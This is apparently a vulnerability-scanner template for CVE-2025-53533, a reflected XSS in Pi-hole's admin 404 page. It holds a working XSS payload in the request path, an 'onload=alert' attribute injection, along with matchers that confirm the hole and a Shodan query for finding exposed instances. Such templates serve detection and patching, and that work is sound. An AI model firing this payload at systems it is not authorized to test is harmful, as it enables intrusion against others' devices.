Pi-hole Reflected XSS in 404-Error Page

id: CVE-2025-53533

info:
  name: Pi-hole Reflected XSS in 404-Error Page
  author: DhiyaneshDk
  severity: medium
  description: |
    Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
  remediation: Update to Pi-hole web interface version 6.3 or later.
  reference:
    - https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53533
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-53533
    cwe-id: CWE-79
    epss-score: 0.00281
    epss-percentile: 0.51512
  metadata:
    verified: true
    max-request: 1
    vendor: pi-hole
    product: web_interface
    shodan-query: title:"Pi-hole"
  tags: cve,cve2025,pihole,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/"onload=alert(document.domain);>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"onload=alert(document.domain);>">'

      - type: word
        part: body
        words:
          - "pi-hole"

      - type: status
        status:
          - 404
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